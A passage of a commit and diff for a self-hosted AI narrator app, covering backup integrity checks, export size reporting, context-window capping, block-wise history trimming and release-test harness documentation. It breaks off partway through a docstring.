v1.1: harden recovery and control boundaries

WP-D and WP-E complete the planned v1.1 implementation packages.

WP-D — recovery honesty:
- backups verify the completed copy with PRAGMA integrity_check
- corruption missed by quick_check is detected by the full check
- existing good backups remain protected
- oversized exports are still delivered but declare whether this version can
  import them, while the 20 MB import limit remains unchanged
- backup was exercised through the real browser UI on both the normal campaign
  database and a campaign-shaped database over 100 MB

WP-E — control-boundary contrast:
- interactive control boundaries meet the WCAG 1.4.11 3:1 target
- the contrast audit is now a failing gate rather than an advisory
- rendered browser measurements pass for the composer, controls, tabs and nav
- text contrast and focus visibility remain intact
- owner reviewed and approved the before/after screenshots

Reports:
- planning/reports/v1.1/V1.1-WP-D-REPORT.md
- planning/reports/v1.1/V1.1-WP-E-REPORT.md

All planned v1.1 work packages A-E are now complete. Release validation has not
yet begun.

DEVELOPMENT.md

@@ -344,6 +344,196 @@ subsystem comes back as a route, if an API key becomes settable again, if the
 model timeout stops being configurable or becomes unbounded, or if a supported
 start path stops binding loopback.
 
+## Why a long campaign is not slow in proportion to its length
+
+An inference server caches the prompt it has already processed, keyed on the
+**prefix**. While a story only grows at the end, each turn re-uses that cache and
+pays for its own new tokens alone. Once the context budget is full, though, the
+history window has to give something up — and a window that gives up its *oldest*
+action every turn changes the prompt near the front, which throws the cache away
+and makes the server re-read almost the whole thing, every turn.
+
+So the window moves in blocks. `context/builder.py` snaps the oldest included
+action to a boundary and holds it there for several turns, then steps. Measured
+against the reference deployment on real builder output, at an 8,192-token budget:
+
+| | Per turn |
+| --- | --- |
+| Window held, story grew by one action | 14-20 s |
+| Window stepped (one turn in three) | 333-338 s |
+| **Mean over whole cycles** | **124.0 s** |
+| Window sliding every turn, as before | 362.4 s |
+
+The cost is history depth: right after a step the window holds up to a block
+fewer actions than the budget would allow. `TRIM_FRACTION` bounds that at a
+quarter of the window, and it is the one number to change if you would rather
+trade recent history for speed, or the reverse.
+
+The saving grows with the block, and the block grows with the budget — so the
+larger the context window, the more this is worth. `history["floor_depth"]` and
+`history["trim_block"]` are in every context report, and a `floor_depth` that is
+the same on two consecutive turns is the prompt's prefix having been preserved.
+
+## The release-validation harnesses
+
+M11 added six runnable harnesses under `backend/tools/`. They are the evidence
+behind `planning/reports/M11-IMPLEMENTATION-REPORT.md`, and they live in the
+repository so a reviewer can re-run them rather than take the report's word for
+anything. None is part of the application and none is imported by it.
+
+**Write their output somewhere durable, never `/tmp`.** `--out` is required on
+every harness precisely so the location is a decision rather than a default, and
+the examples below use `$HOME/m11-evidence`. A reboot clears `/tmp`, and a
+long-run campaign is hours of evidence that cannot be reproduced by re-reading a
+file. One run was lost exactly that way; §G.6 of the M11 report records it. Snap Firefox independently refuses a WebDriver file path under `/tmp`
+and needs one under `$HOME`, so `$HOME` is the only location the browser harness
+works from in any case.
+
+```bash
+cd backend
+mkdir -p "$HOME/m11-evidence"
+
+# The 100-turn release campaign (M01-M04): real narrator, genuine process
+# restarts, every history operation. Hours, not minutes.
+AIDND_TEST_ENDPOINT=https://<host>:<port>/v1 \
+AIDND_TEST_MODEL=<model> AIDND_TEST_EMBED_MODEL=<embedding model> \
+  .venv/bin/python -m tools.m11_long_run --turns 100 --out "$HOME/m11-evidence/m01"
+
+# The same campaign, carried on after a crash, a reboot or a Ctrl-C. It picks up
+# the adventure the checkpoint names, keeps its place in the beat cycle, and does
+# not fire a scheduled operation that already fired.
+AIDND_TEST_ENDPOINT=... AIDND_TEST_MODEL=... AIDND_TEST_EMBED_MODEL=... \
+  .venv/bin/python -m tools.m11_long_run --turns 100 --resume --out "$HOME/m11-evidence/m01"
+
+# What that campaign is worth on a machine that has never seen it (I01-I07).
+.venv/bin/python -m tools.m11_recovery --bundle "$HOME/m11-evidence/m01/bundle.json" --out "$HOME/m11-evidence/m01"
+
+# The browser release regression and the accessibility measurements: M11's 38
+# checks plus v1.1 WP-C's reader workflows (Retry, Save Points, state correction,
+# narration length, failed generation, export download). Needs `frontend/dist`
+# built, geckodriver on PATH, and --out under $HOME (the downloads land inside
+# it). Release evidence needs the narrator over trusted-LAN HTTPS.
+AIDND_TEST_ENDPOINT=https://... AIDND_TEST_MODEL=qwen2.5:3b-instruct \
+  .venv/bin/python -m tools.m11_browser --out "$HOME/v11-evidence/wp-c/browser"
+# Without a narrator (a partial smoke run, not evidence), or one scenario while
+# developing (--only takes: shell, history, markdown, hidden, context, csp, a11y,
+# retry, savepoint, state, length, failure, export).
+.venv/bin/python -m tools.m11_browser --out "$HOME/v11-evidence/wp-c/smoke" --no-narrator
+
+# A container with no network at all: the offline run and the packaging path.
+.venv/bin/python -m tools.m11_offline --out "$HOME/m11-evidence/offline"
+
+# The multi-character identity diagnostic (post-M8 finding D), and the run that
+# proves its detectors fire.
+.venv/bin/python -m tools.m11_identity --out "$HOME/m11-evidence/identity"
+.venv/bin/python -m tools.m11_identity --scripted --inject
+
+# The palette, against WCAG AA.
+.venv/bin/python -m tools.contrast_audit
+```
+
+### Resuming the long run, and timing it out
+
+A hundred turns is hours of wall clock, and the first release attempt lost one at
+turn 97 to a host crash. The harness now checkpoints `resume.json` into `--out`
+after the prologue, after every scheduled operation and after every turn, and
+`--resume` continues from it. The file is written under a temporary name and
+renamed, so a crash during the write cannot leave a half-parsed one.
+
+`resume.json` is operational state rather than evidence: `timeline.jsonl` stays
+the append-only record, a resumed session appends to it, and a finished run
+deletes its `resume.json`. That makes the file's presence mean exactly one
+thing — there is an unfinished run in this directory — and the harness refuses
+to start a fresh campaign on top of one, because two campaigns interleaved in a
+single timeline and database are worse evidence than none. It refuses a
+directory holding a `campaign.db` with no checkpoint for the same reason.
+
+How long a turn takes is the inference host's characteristic, not the
+application's, so the timeout is an option rather than a constant:
+
+| Flag | Default | What it does |
+| --- | --- | --- |
+| `--turn-timeout` | 1800 | Seconds the application waits for one narrator reply — it becomes `model_timeout_seconds`, so the settings schema's 30..3600 bound applies. The harness waits 300s longer, so the application's own error arrives inside the stream rather than being cut off at the socket. |
+| `--max-consecutive-failures` | 5 | Unaccepted turns in a row before the run stops, writes `summary.json` with `status: aborted`, and leaves a `resume.json` that `--resume` can carry on. |
+
+Measure your host before lowering `--turn-timeout`. On the M11 reference
+deployment a turn cost 229-291 seconds at the recommended window; a slower host
+can exceed the 600 seconds this harness used to hard-code, and an overrun turn is
+a lost turn.
+
+### Logging the inference host during a long run
+
+A long run is the heaviest sustained load an inference host sees. In M11 a GPU
+host dropped its GPU off the PCIe bus (`NVRM: Xid 79`) half a minute after a
+100-turn run finished. Nothing on disk could say whether power, heat or the link
+caused it (M11 report, §E.1). **For every long run against a GPU host, start this
+logging on that host first and stop it only when the run has finished.**
+
+Run each command in its own terminal on the inference host. `tee` writes each
+line as it arrives, so what happened in the seconds before a crash or a forced
+reboot survives on disk.
+
+```bash
+# Power, temperature, utilisation and PCIe link state, once a second
+nvidia-smi --query-gpu=timestamp,pcie.link.gen.current,pcie.link.width.current,power.draw,temperature.gpu,utilization.gpu \
+  --format=csv -l 1 | tee "$HOME/gpu-link-$(date +%F-%H%M).csv"
+
+# The driver's own sampling: power, utilisation, clocks, memory, ECC and throttling
+nvidia-smi dmon -s pucvmet -d 5 | tee "$HOME/gpu-dmon-$(date +%F-%H%M).log"
+
+# Kernel and Ollama messages, live. The `+` is an OR: `journalctl -k -u ollama`
+# asks for messages that are both kernel messages and the ollama unit's, which
+# is none, and writes an empty log.
+journalctl -f -o short-iso _TRANSPORT=kernel + _SYSTEMD_UNIT=ollama.service \
+  | tee "$HOME/ollama-kernel-watch-$(date +%F-%H%M).log"
+```
+
+If the GPU faults, find the moment and then read what the card was doing just
+before it:
+
+```bash
+grep -iE 'xid|fallen off|nvrm' "$HOME"/ollama-kernel-watch-*.log
+awk -F', ' 'NR>1 && $4+0 > max {max=$4+0; at=$1} END {print "peak W", max, "at", at}' "$HOME"/gpu-link-*.csv
+```
+
+A fault that follows sustained draw at the card's power limit points to power
+delivery. A fault with the link below its usual generation under load points to
+the connection. A fault with neither is still worth recording, because it rules
+both out. These commands were verified against NVIDIA driver 580 and Ollama
+0.34.
+
+`tools/m11_webdriver.py` is the W3C WebDriver client the browser harness uses.
+It exists so browser evidence needs no Selenium in the dependency surface, and
+it documents the one environment quirk that matters here: a snap Firefox will
+not open a file the driver names under `/tmp`, but will under `$HOME`.
+
+**Downloads in the browser harness (v1.1 WP-C).** The export checks click the
+real Export controls and wait for the file on disk, so the browser has to save
+without asking. `m11_webdriver.firefox_download_prefs` gives the WebDriver
+session a profile that does that:
+- `browser.download.folderList` 2, `browser.download.dir` the run's
+  `downloads/` folder, `browser.download.useDownloadDir` true;
+- no "always ask", and `application/json` saved to disk.
+
+It works on the snap Firefox this machine has (155.0.1, geckodriver 0.37.1), and
+no separate Firefox is needed. The same sandbox rule applies as for opening
+files: the download folder must be under `$HOME`, and the harness refuses one
+that is not.
+
+A download counts as finished only when all of these hold at once
+(`m11_webdriver.wait_for_download`):
+- a new name has appeared;
+- no `*.part` file is left;
+- the file is more than zero bytes;
+- its size is the same across consecutive polls.
+
+The toast that says "Campaign exported." is not evidence.
+
+**Waiting.** Nothing in the harness sleeps before an assertion. Every wait is on
+something the page, the browser or the filesystem shows. A condition that
+already holds before the action it waits for does not count as waiting for that
+action; the harness defects found in M8, M11 and WP-C were all of that shape.
+
 ## Backing up, and getting a campaign back
 
 There are two recovery tools and they answer different questions. Using the
@@ -358,6 +548,40 @@ together.
 | Taken from | Export, on a campaign | Settings → *Back up everything on this machine* |
 | Restored by | Import campaign, on the library screen | replacing the database file, below |
 
+### How large an export can get
+
+The importer accepts a request body up to **20 MB**
+(`backend/app/limits.py`, `MAX_IMPORT_BODY_BYTES`), and v1.1 does not change it.
+What that means for a campaign, measured rather than guessed:
+
+- the M11 evidence campaign came to roughly **13 kB per action** in its bundle;
+- M9's conservative estimate from that figure is about **279 turns** before a
+  bundle approaches the limit.
+
+Both are measurements of particular campaigns, **not a turn limit**. What a
+campaign actually weighs depends on how long its turns are, how much imported
+knowledge travels with it, and how many attempts each turn kept. A campaign of
+400 short turns can be well inside the limit; one of 200 long ones with a large
+library may not be.
+
+**v1.1 (WP-D) makes the individual case visible.** Every export reports its own
+serialised size and whether this version could import it back:
+
+```text
+X-Export-Bytes                  the bundle's size, as the importer would weigh it
+X-Import-Limit-Bytes            MAX_IMPORT_BODY_BYTES
+X-Importable-By-This-Version    true / false
+X-Export-Warning                present only when it is false
+```
+
+The export always succeeds and the file is always delivered — it is complete and
+undamaged; what it exceeds is this version's import ceiling. Both Export
+controls show the warning when there is one. The size compared is the compact
+serialisation the browser would POST back, which is smaller than the
+pretty-printed file on disk.
+
+Raising the limit, or streaming an import past it, is deferred to v1.2.
+
 ### Exporting and importing a campaign
 
 Export is on each campaign in the library, and in the campaign's own Settings
@@ -460,6 +684,65 @@ system block: the narrator rules and the campaign canon. The symptom is a
 narrator that forgets canon deep into a long session, with nothing on screen
 explaining why.
 
+**The application now checks, and will not over-budget.** Since M11 it asks the
+server what window your model actually gets — `/api/ps` for a model that is
+loaded, `/api/show` for one that is not — and caps the prompt to that number. A
+4,096-token server therefore no longer receives a 16,384-token prompt: the
+campaign gets less history than the setting asks for, which is a visible,
+explicable loss rather than a silent one, and Settings' **Test connection**
+reports the window it found or says plainly that it could not check.
+
+**It also keeps a margin, and checks the server's own count (v1.1).** The
+application counts tokens with `cl100k_base`, and your model counts them with
+its own tokenizer. The two disagree slightly, so the prompt is built to leave
+`max(256, 5% of the window)` tokens free on top of the reply: 256 at 4,096, and
+820 at 16,384. After each turn the server's reported prompt-token count is
+compared with what was sent. The context inspector shows the result for any
+past turn:
+
+- **The server read the whole prompt:** the ordinary case.
+- **The server did not say how much it read:** the server reported no usage.
+  Nothing is wrong, and nothing is confirmed either.
+- **The server may have cut the start of the prompt:** it read far fewer tokens
+  than were sent. Ollama does this, silently, to a prompt larger than the window
+  the model was loaded with. The turn is kept. Check the window with the
+  commands above.
+- **The prompt was larger than the server allowed for:** its count and the reply
+  together exceed the window. The reply may have been cut short. The turn is
+  kept.
+
+The last two also appear in the server log as a warning.
+
+**A model that is not loaded yet is loaded first.** Before a turn, if the
+application cannot read the window because your model isn't in memory, it asks
+the same Ollama to load it once. That is a `POST /api/generate` naming only the
+model, which generates no text. It then reads the window again, so the first
+turn of a session is built to the window the model really has rather than to
+your setting. If loading fails, or the window still can't be read, the turn goes
+ahead exactly as before, unverified, and the check above still applies.
+
+That does not make the window *bigger*, and the rest of this section is still
+how you do that.
+
+**On a server that is not Ollama, tell the application the window yourself.**
+The check above uses Ollama's *native* API, which vLLM, llama.cpp's own server
+and the rest do not serve — so the window comes back unverified and the budget
+is left at whatever is configured. Set **`context_window_override`** in settings
+to the window you launched that server with:
+
+```bash
+curl -X PUT http://127.0.0.1:8000/api/settings \
+  -H 'Content-Type: application/json' -d '{"context_window_override": 8192}'
+```
+
+Prompts are then capped to it. It is used *only* when the server could not be
+asked — a window the server did report always wins, so this can never be a way
+to over-budget an Ollama that answered — and it does not count as verification:
+the turn's provenance still records that nothing checked the number. Send
+`null` to remove it. Nothing here validates the figure against the server, so an
+override larger than the real window puts you back to silent truncation; take it
+from how you started the server, not from the model card.
+
 **Setting it per request does not work from this application.** Ollama's
 OpenAI-compatible endpoint accepts `num_ctx` — nested in `options` or at the top
 level — returns HTTP 200 and ignores it. Worse, it *reloads the model at its own
@@ -486,17 +769,20 @@ Where you *do* control the server environment, `OLLAMA_CONTEXT_LENGTH=16384`
 does the same job. Either way a larger window costs roughly proportionally more
 KV cache.
 
-If you would rather not raise it at all, set **How much story to send** in
-Settings to the number `/api/ps` reports, and the prompt will be assembled to
-fit.
+If you would rather not raise it at all, you no longer need to do anything: the
+application caps itself to what the server reports. Setting **How much story to
+send** to the same number simply makes the intent explicit.
 
 **This matters most on the machine you import to.** A campaign carries its
 history, not the window the machine that wrote it had, and a long imported
 campaign fills a prompt on its very first turn — so a deployment that has applied
 neither the derived model above nor a matching budget meets its ceiling
-immediately rather than gradually. Importing succeeds either way; it is the first
-turn afterwards that truncates. Check `/api/ps` on the destination before playing
-on an imported campaign, not after.
+immediately rather than gradually. Importing succeeds either way, and since M11
+the first turn afterwards is *capped* rather than truncated — so what a small
+window costs is history, not the canon at the front of the prompt. It is still
+worth giving the model its window before playing an imported campaign: a
+4,096-token context on a hundred-turn story is a much shorter memory than the
+story was written with.
 
 ## What was made offline-safe, and how to check
 

README.md

@@ -70,6 +70,24 @@ that isn't the live one starts a new branch.
   passages are assembled under one token budget, in an order chosen so that a section which
   changes does not re-price the cached prefix above it (`backend/app/context/builder.py`).
 
+  **And the budget is the one your server will actually read.** Ollama enforces a context
+  window of its own — 4,096 by default on a machine with no VRAM — and a larger prompt is not
+  refused, it is silently trimmed from the *oldest* end, which here is the narrator's rules and
+  your campaign's canon. The application asks the server what window your model gets and caps
+  the prompt to it, so what a small window costs is history rather than the canon at the front
+  (`backend/app/contextwindow.py`). If it cannot check, it says so instead of assuming — and
+  on a server it cannot ask, which is any server that is not Ollama, `context_window_override`
+  in settings lets you state the window so the prompt is still capped. A window the server
+  itself reported always wins over that, and a declared one is never reported as verified.
+
+  Since v1.1 the prompt also stops short of that window on purpose. It leaves
+  `max(256, 5% of the window)` tokens free, because your model counts tokens differently from
+  the application, and the v1 evidence came within 23 tokens of the edge. After each turn,
+  the server's own count of what it read is compared with what was sent. A turn the server
+  appears to have truncated is kept, flagged and shown in the context inspector, not left to
+  pass silently. A model that isn't loaded yet, and so cannot report its window, is loaded
+  once before the turn is built, so the first turn of a session gets the real window too.
+
   **Story cards** — AI Dungeon's world-info primitive, inherited with the fork — are kept as
   legacy data and travel with an export, but they no longer reach the narrator. A keyword-matched
   card used to arrive in front of it as a world fact with no class, no visibility, no source and
@@ -169,9 +187,9 @@ that isn't the live one starts a new branch.
 
 None yet. The inherited screenshots showed upstream's UI — a Scripts tab, Log in and Sign up,
 a guest banner, scripting demo scenarios — none of which this fork has since M2, so they were
-removed rather than left standing as a picture of a product that no longer exists. The M4
-closeout drove the real application in a real browser, so the screens exist and work; taking
-presentable screenshots of them is a job for the UI pass in M8.
+removed rather than left standing as a picture of a product that no longer exists. The
+screens exist and are driven in a real browser by the release harness
+(`backend/tools/m11_browser.py`). Presentable screenshots of them have not been taken.
 
 ## Quick start
 
@@ -277,6 +295,7 @@ frontend/   React + Vite SPA  ──HTTP/SSE──►  backend/  FastAPI
                                               ├─ models.py     SQLAlchemy: Scenario, Adventure, Branch, Action, StoryCard, Settings, Memory, KnowledgeSource, VisualProfile
                                               ├─ migrations.py hand-rolled, versioned via PRAGMA user_version (92 and counting)
                                               ├─ endpoints.py  the inference-endpoint address policy
+                                              ├─ contextwindow.py  what the server will actually accept, and the cap
                                               ├─ tlstrust.py   one TLS context: the OS trust store unioned with certifi's
                                               ├─ tree.py       forking, promotion, and where a node is placed
                                               ├─ head.py       the active head: where the story is read, and what moving it costs
@@ -299,7 +318,8 @@ development, Vite proxies `/api` to FastAPI.
 
 ## Tests
 
-1,191 backend tests: unit tests plus full HTTP integration through the real turn engine, with
+1,524 backend tests (1,507 run everywhere, 17 need a real local model and skip without one): unit
+tests plus full HTTP integration through the real turn engine, with
 the model provider mocked. They run with no route to the Internet, which is a requirement
 rather than a convenience — an offline claim proved on a machine that has been online once
 proves nothing. A further handful need a real local model and skip without one; they exist
@@ -335,6 +355,12 @@ most interesting engineering in the repo.
 
 ## Repo notes
 
+- **Status:** **v1.0.0 was released on 2026-09-14.** Milestones M1-M11 are
+  complete, and the v1 release gate passed (see [`planning/reports/M11-IMPLEMENTATION-REPORT.md`](planning/reports/M11-IMPLEMENTATION-REPORT.md),
+  §T). The signed tag `v1.0.0` and `main` both point at the signed release
+  commit `432f041`. v1.1 development has begun on the `v1.1-development` branch;
+  its plan is [`planning/V1.1-PLAN.md`](planning/V1.1-PLAN.md).
+
 - `planning/` is this fork's own package: the product specification, the architecture
   decisions, the milestone plan, the acceptance contract, and a review report for every
   milestone shipped. Start at [`planning/README.md`](planning/README.md).

backend/app/attempts.py

@@ -46,7 +46,14 @@ from .narrative import model as narrative_model
 # token accounting. Each attempt is its own API call, and a retry is the call
 # most likely to read the prompt back out of cache. Everything else in a snapshot
 # is the prompt, which is assembled once per turn.
-ATTEMPT_KEYS = ("world_state", "narrative_state", "raw_output", "usage")
+#
+# v1.1 WP-A1: `accounting` is one attempt's too. It compares the server's count
+# for *that* call with the turn's estimate. Left out of this tuple, it was
+# treated as part of the shared prompt, so moving the live flag handed the
+# superseded attempt's accounting to the new live one and threw the new one's
+# away. Found by the A2 long run: two retries and one take selection left three
+# attempts reporting no accounting, or another attempt's.
+ATTEMPT_KEYS = ("world_state", "narrative_state", "raw_output", "usage", "accounting")
 
 
 # ------------------------------------------------------------------ reading

backend/app/backup.py

@@ -39,8 +39,9 @@ turn is blocked.
    never leaves a half-written file wearing a backup's name. `os.replace` is
    atomic on the same filesystem, which is why the temporary sits in the
    destination's own directory rather than in `/tmp`.
-3. `PRAGMA quick_check` runs against the finished copy, opened as its own
-   database, before it is renamed. A backup nobody verified is a belief.
+3. `PRAGMA integrity_check` runs against the finished copy, opened as its own
+   database, before it is renamed. A backup nobody verified is a belief. v1.1
+   WP-D made this the full check rather than `quick_check`; see `_verify`.
 4. An existing file is never overwritten. Each run writes a new name stamped
    with the time, so yesterday's backup survives today's mistake — which is most
    of what a backup is for.
@@ -189,18 +190,28 @@ def _copy(source_path: Path, working: Path) -> int:
 
 
 def _verify(working: Path) -> str:
-    """Runs `PRAGMA quick_check` against the finished copy.
+    """Runs `PRAGMA integrity_check` against the finished copy.
 
     Opened as its own connection, so what is checked is the file on disk rather
-    than any page cache the copy left behind. `quick_check` rather than
-    `integrity_check` because it does the structural work — every page reachable,
-    every record readable — without the full index cross-check, which on a large
-    database is minutes rather than moments. A backup nobody verified is a
-    belief; a backup verified slowly enough that nobody takes one is worse.
+    than any page cache the copy left behind.
+
+    **v1.1 WP-D: the full check, not `quick_check`.** M9 chose `quick_check` for
+    its speed, on the argument that a backup verified slowly enough that nobody
+    takes one is worse than a fast one. The measurements say the trade was not
+    needed here: `quick_check` omits the cross-check between a table and its
+    indexes, and that is a real class of damage it reports as `ok`. A copy whose
+    index disagrees with its table restores into a database that answers queries
+    with rows that are not there — the failure a backup exists to prevent.
+
+    The cost is small at the sizes this application produces: on the 100-turn
+    evidence campaign both checks are a few milliseconds, and on a synthetic
+    database two orders of magnitude larger the difference is still short of a
+    second (WP-D report §E). A backup nobody verified is a belief; this is the
+    check that makes it a fact.
     """
     connection = sqlite3.connect(f"file:{working}?mode=ro", uri=True)
     try:
-        rows = connection.execute("PRAGMA quick_check").fetchall()
+        rows = connection.execute("PRAGMA integrity_check").fetchall()
     finally:
         connection.close()
     result = ", ".join(str(row[0]) for row in rows) if rows else "no result"

backend/app/bundle.py

@@ -247,6 +247,10 @@ def export(db: Session, adventure: models.Adventure) -> dict:
         "memory": adventure.memory,
         "authorsNote": adventure.authors_note,
         "aiInstructions": adventure.ai_instructions,
+        # M11: the campaign's narration-length choice. Chosen data, so it
+        # travels — a campaign that arrives on another machine should go on
+        # writing the length of turn its reader asked for.
+        "narrationLength": adventure.narration_length or "",
         "storySummary": adventure.story_summary,
         # Phase 18. A bundle written before personas existed has no key here,
         # and the import below reads it with `.get`, so it lands with an empty
@@ -396,6 +400,16 @@ def _exported_source(source: models.KnowledgeSource) -> dict:
     }
 
 
+def _narration_length(value) -> str:
+    """One of the three lengths, or empty. An unknown value is not carried.
+
+    A file could name a length this build does not serve — a later version's, or
+    a hand-edited one. Storing it would leave the campaign with a preference the
+    prompt builder ignores, which is indistinguishable from the defect M11 fixed.
+    """
+    return value if value in ("brief", "medium", "long") else ""
+
+
 def _exported_visual_profile(profile: models.VisualProfile) -> dict:
     """One visual profile, as it goes into the file.
 
@@ -2011,6 +2025,7 @@ def materialize(
         memory=str(payload.get("memory") or ""),
         authors_note=str(payload.get("authorsNote") or ""),
         ai_instructions=str(payload.get("aiInstructions") or ""),
+        narration_length=_narration_length(payload.get("narrationLength")),
         story_summary=str(payload.get("storySummary") or ""),
         world_state=payload.get("worldState") or {},
         # M5. Normalised on the way in, so a hand-edited or truncated state

backend/app/context/builder.py

@@ -23,8 +23,9 @@ from dataclasses import dataclass
 import tiktoken
 from sqlalchemy.orm import object_session
 
-from .. import derived, models, narrative, summaries, worldstate
+from .. import contextwindow, derived, models, narrative, summaries, worldstate
 from ..knowledge import inject as knowledge_inject
+from ..providers.openai_compatible import CHAT_CONTINUE_HINT
 from ..knowledge import records as knowledge_records
 from . import encoding, history
 
@@ -35,6 +36,21 @@ AUTHORS_NOTE_DEPTH = 3  # actions from the end of history
 NPC_WINDOW = 6  # actions of story searched for NPC trigger words ("in scene")
 SEPARATOR = "\n\n"
 
+#: How much of the history window one trim gives up, as one-over-this. A
+#: quarter: large enough that the window then holds still for several turns,
+#: small enough that the narrator never loses most of its recent history at once.
+#:
+#: **This is the dial.** Lower it for bigger blocks — fewer prompt re-reads and
+#: faster long campaigns, at the cost of retaining less recent history. Raise it
+#: for the reverse. Nothing else has to change: `trim_block` is the only reader,
+#: and `test_trim_fraction_is_the_dial_between_history_and_speed` pins that.
+#: Measured at 4, on an 8,192-token budget: 124.0s per turn against 362.4s with
+#: trimming off.
+TRIM_FRACTION = 4
+#: Never trim less than this, or the window slides by one action again and the
+#: whole point is lost.
+MIN_TRIM_BLOCK = 2
+
 # Output-length guidance. The endpoint enforces `max_output_tokens` as a hard
 # limit, and it truncates the reply mid-sentence when the model reaches it. The
 # state block is emitted last, so truncation removes it. Asking the model to
@@ -64,15 +80,49 @@ MIN_LENGTH_FLOOR_WORDS = 60
 # reader who wants longer turns can ask for them in the author's note.
 MAX_LENGTH_FLOOR_WORDS = 300
 
+#: M11, post-M8 finding C: what the campaign's own narration-length choice means
+#: in words. Until M11 the choice became one English sentence in the campaign's
+#: instructions and moved no number at all, while the numeric hint below was
+#: derived from the *global* `max_output_tokens` and therefore read identically
+#: for brief, medium and long — at the default cap, "must not exceed 506 words,
+#: and it should not stop short of about 177" whichever the reader picked. A
+#: setting with a visible control and no measurable effect is worse than no
+#: setting, because the reader spends trust on it.
+#:
+#: These bands are (floor, ceiling) in words. They are a design decision made
+#: here rather than a ratified requirement — `BUILD-MILESTONES.md` records
+#: "Brief ~100-200 words" as a candidate — and they are deliberately wide enough
+#: that a scene can breathe inside one.
+LENGTH_BANDS = {
+    "brief": (70, 180),
+    "medium": (150, 380),
+    "long": (320, 700),
+}
+#: Where the floor lands when a band's ceiling has to be cut down to fit the
+#: token cap: keep it proportional rather than letting it collide with the
+#: ceiling.
+BAND_FLOOR_SHARE = 0.5
+
 
 # Built from the table vendored in `encoding.py`, not fetched: the upstream
 # `tiktoken.get_encoding("cl100k_base")` downloads it on first use, and this
 # is called on every turn.
-# M6: added to the configured reply budget when reserving output space. It
-# absorbs the section separators added after budgeting and the drift between
-# this tokenizer and the serving model's. Fixed rather than proportional: what
-# it covers does not grow with the size of the budget.
-OUTPUT_SAFETY_MARGIN = 64
+#
+# v1.1 WP-A1: `OUTPUT_SAFETY_MARGIN = 64` was here. M6 added it to the reply
+# budget to absorb two unrelated things, and v1.1 separates them:
+#
+# * **Text the application adds after pricing.** The separators between
+#   sections, and `CHAT_CONTINUE_HINT`, which the provider appends to every chat
+#   request and nothing counted. That is not drift, it is our own text, so it is
+#   now priced exactly (`transport` below).
+# * **The drift between this tokenizer and the narrator's.** That is what the
+#   64 tokens were really for, and the v1 evidence showed it was too small. It
+#   is now `contextwindow.safety_reserve`, sized to the window.
+#
+#: Story sections that can be joined by `SEPARATOR` after pricing: history,
+#: author's note, recent history, summary, lore, memories, state, front memory,
+#: length hint, refusals, reminder. Knowledge and history rows price their own.
+STORY_SECTION_SLOTS = 11
 
 
 class ContextOverflow(RuntimeError):
@@ -111,17 +161,50 @@ class Section:
         return count_tokens(self.text)
 
 
-def length_hint(max_output_tokens: int) -> str:
+def length_hint(max_output_tokens: int, narration_length: str = "") -> str:
     """Ask for a turn that fits inside the output cap, stated as a word budget.
 
     Returns an empty string when the cap is too small to state usefully. The
     model can exceed the hint, so the hint earns its tokens only when there is
     enough room for that overshoot to stay inside the cap.
+
+    M11: `narration_length` is the campaign's own choice — `brief`, `medium` or
+    `long`, or empty for a campaign that never made one. It narrows the range
+    *within* what the token cap allows; it can never widen it, because the cap
+    is what the endpoint will actually emit and a hint that asked for more than
+    that would be asking for a truncated turn.
+
+    **The generation budget is deliberately not touched.** Capping
+    `max_output_tokens` per length would make a brief turn likelier to hit the
+    endpoint's limit mid-sentence, and the state block is emitted *last* — so
+    the first thing a truncated reply loses is the turn's state. That is the
+    trade `BUILD-MILESTONES.md` names when it says "do not hard-truncate prose".
     """
     words = int((max_output_tokens - LENGTH_HEADROOM) * WORDS_PER_TOKEN * LENGTH_BUFFER)
     if words < MIN_LENGTH_HINT_WORDS:
         return ""
-    tail = " Finish the narration and append the state block well inside the limit."
+
+    band = LENGTH_BANDS.get((narration_length or "").strip().lower())
+    if band is not None:
+        band_floor, band_ceiling = band
+        # The cap still wins. A `long` campaign on a 300-token reply cap gets
+        # the cap's number, not 700, and the floor moves down with it.
+        words = min(words, band_ceiling)
+        floor = min(band_floor, int(words * BAND_FLOOR_SHARE))
+        tail = (
+            " " + narrative.extract.LENGTH_HINT_TAIL
+        )
+        if floor < MIN_LENGTH_FLOOR_WORDS:
+            return (
+                f"{narrative.extract.LENGTH_HINT_OPENING} this turn must not exceed {words} words. Write only as "
+                f"much as the moment needs — a typical turn is much shorter.{tail}]"
+            )
+        return (
+            f"{narrative.extract.LENGTH_HINT_OPENING} this turn must not exceed {words} words, and it should not "
+            f"stop short of about {floor}. Prefer the lower end of that range unless "
+            f"the scene genuinely needs more.{tail}]"
+        )
+    tail = " " + narrative.extract.LENGTH_HINT_TAIL
 
     # State the number as a ceiling, never as a budget. In measurements, the
     # wording "keep this turn under about N words" read to the model as a target
@@ -133,7 +216,7 @@ def length_hint(max_output_tokens: int) -> str:
     floor = min(int(words * LENGTH_FLOOR_SHARE), MAX_LENGTH_FLOOR_WORDS)
     if floor < MIN_LENGTH_FLOOR_WORDS:
         return (
-            f"[Hard limit: this turn must not exceed {words} words. Write only as "
+            f"{narrative.extract.LENGTH_HINT_OPENING} this turn must not exceed {words} words. Write only as "
             f"much as the moment needs — a typical turn is much shorter.{tail}]"
         )
     # Both numbers are bounds, and the wording is deliberately asymmetric. The
@@ -145,7 +228,7 @@ def length_hint(max_output_tokens: int) -> str:
     # so a terse model reading the same clause stops at the floor rather than at
     # forty words.
     return (
-        f"[Hard limit: this turn must not exceed {words} words, and it should not "
+        f"{narrative.extract.LENGTH_HINT_OPENING} this turn must not exceed {words} words, and it should not "
         f"stop short of about {floor}. Prefer the lower end of that range unless "
         f"the scene genuinely needs more.{tail}]"
     )
@@ -245,6 +328,85 @@ def _canon_section(adventure: models.Adventure) -> str:
     return f"Campaign canon (these are true and may not be contradicted):\n{body}"
 
 
+def trim_block(history_budget: int, max_output_tokens: int) -> int:
+    """How many `depth` steps of history one trim gives up.
+
+    Derived from **configuration**, never from the story, because the answer has
+    to be the same on two consecutive turns. A block size that moved with the
+    measured size of recent actions would move the boundary it defines, and a
+    boundary that moves is precisely what this exists to stop.
+
+    An AI action is bounded by `max_output_tokens` and a player action is small
+    beside it, so `max_output_tokens` is the scale of one row of history — a
+    setting, rather than a guess about the data.
+    """
+    per_action = max(1, max_output_tokens)
+    fits = max(1, history_budget // per_action)
+    return max(MIN_TRIM_BLOCK, fits // TRIM_FRACTION)
+
+
+def history_floor(depths: list[int | None], costs: list[int], budget: int,
+                  block: int) -> int | None:
+    """The depth of the oldest action to include, snapped to a block boundary.
+
+    ## Why this is not just "whatever fits"
+
